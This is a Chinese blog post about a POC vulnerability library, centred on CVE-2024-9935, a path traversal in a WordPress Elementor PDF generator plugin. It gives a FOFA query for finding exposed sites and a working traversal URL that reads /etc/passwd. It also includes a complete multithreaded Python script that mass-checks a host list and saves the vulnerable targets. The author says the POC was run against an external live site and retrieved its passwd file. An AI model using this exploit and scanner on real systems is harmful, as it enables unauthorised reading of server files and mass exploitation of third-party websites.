声明
B站泷羽sec
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
- 个人:liuyu3366520
脚本和工具链接:
https://pan.quark.cn/s/91bd831ce74b
一、介绍
今天没事儿,在翻github的时候发现了一个很不错的POC漏洞库
之前的话也有一些其他的漏洞库但是都更的没有那么及时,或者更的频率比较低
链接点击-> :Wiki漏洞文库
二、Wiki文库使用
在这里我们拿一个(CVE-2024-9935)为例
文章链接:CVE-2024-9935漏洞
CVE-2024-9935:WordPress 的 Elementor Page Builder 插件的 PDF 生成器插件在 1.7.5 及之前版本中存在的路径遍历漏洞,可以对此漏洞进行利用对服务器身上的任意文件进行读取。
(一) xTools 工具使用
这里使用xTools进行FOFA网络测绘
这个工具确实比较好用,我在这里推荐给大家,可以一键导出表格形式,调用FOFA的API实现。
直接在这里进行配置即可,同时支持Sumap和Hunter
这里使用FOFA语法搜索
body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"
(二)POC与批量验证脚本
url验证路径
/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
接下来是我自己写的一个Python脚本用于批量验证POC
有py文件和图形化的两种形式,这里只放py文件的了,图形化的大家可以在上面链接自取一下
脚本需要一个ip.txt文件放我们的访问链接,并输出一个vulnerable_ips.txt是可能存在漏洞的URL,因为我进行验证的方式是访问其路径,然后检验其相应长度
如图:
import requests
import threading
# 定义存放IP地址的源txt文件路径,你需要根据实际情况替换这里的路径
source_txt_file_path = "ip.txt"
# 定义存放存在漏洞的IP地址的目标txt文件路径,同样按需替换
target_txt_file_path = "vulnerable_ips.txt"
# 定义要添加的路径后缀,用于构造请求URL
path_suffix = "/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
# 用于存储存在漏洞的IP地址的列表
vulnerable_ips = []
# 创建一个锁对象,用于线程间对共享资源(vulnerable_ips列表)的访问控制,避免冲突
lock = threading.Lock()
# 定义响应数据包的最小长度限制(单位:字节),可根据实际情况调整
min_content_length = 1000
def check_ip(ip_port):
"""
针对单个IP地址发起请求并判断是否存在漏洞的函数
"""
url = "http://" + ip_port + path_suffix
try:
response = requests.get(url)
# 这里假设响应码为200且响应内容长度大于等于最小长度时认为存在漏洞,你可以根据实际情况修改此判断条件
if response.status_code == 200 and len(response.content) >= min_content_length:
# 获取锁,保证对vulnerable_ips列表的安全写入操作
with lock:
vulnerable_ips.append(ip_port)
except requests.RequestException as e:
print(f"对 {ip_port} 发起请求出现错误: {e}")
if __name__ == "__main__":
try:
with open(source_txt_file_path, 'r') as source_file:
ip_list = [line.strip() for line in source_file.readlines()]
threads = []
for ip_port in ip_list:
# 为每个IP地址创建一个线程来执行验证任务
thread = threading.Thread(target=check_ip, args=(ip_port,))
thread.start()
threads.append(thread)
# 等待所有线程完成任务
for thread in threads:
thread.join()
# 将存在漏洞的IP地址写入到目标txt文件中
with open(target_txt_file_path, 'w') as target_file:
for ip in vulnerable_ips:
target_file.write(ip + "\n")
print(f"已将存在漏洞的IP地址成功写入到 {target_txt_file_path} 文件中。")
except FileNotFoundError:
print(f"源文件 {source_txt_file_path} 不存在,请检查文件路径是否正确。")
这里的脚本文件看着不舒服可以到一开始的链接直接下载文件。
(三)实例(这里是一个外站)
在URL后面跟上POC就可以直接得到其passwd文件
图(一)输入URL后直接下载对应的passwd文件,图(二)为对应passwd的部分内容
三、总结
对于一些国内的OA漏洞我们可以利用这些POC去刷洞刷SRC,其他的一些洞当我们在攻防演练的使用不妨查找查找,遇到一个就是赚,红队在全部资产层面找到一个或几个漏洞即可,但防御方要做到100%的全面防御。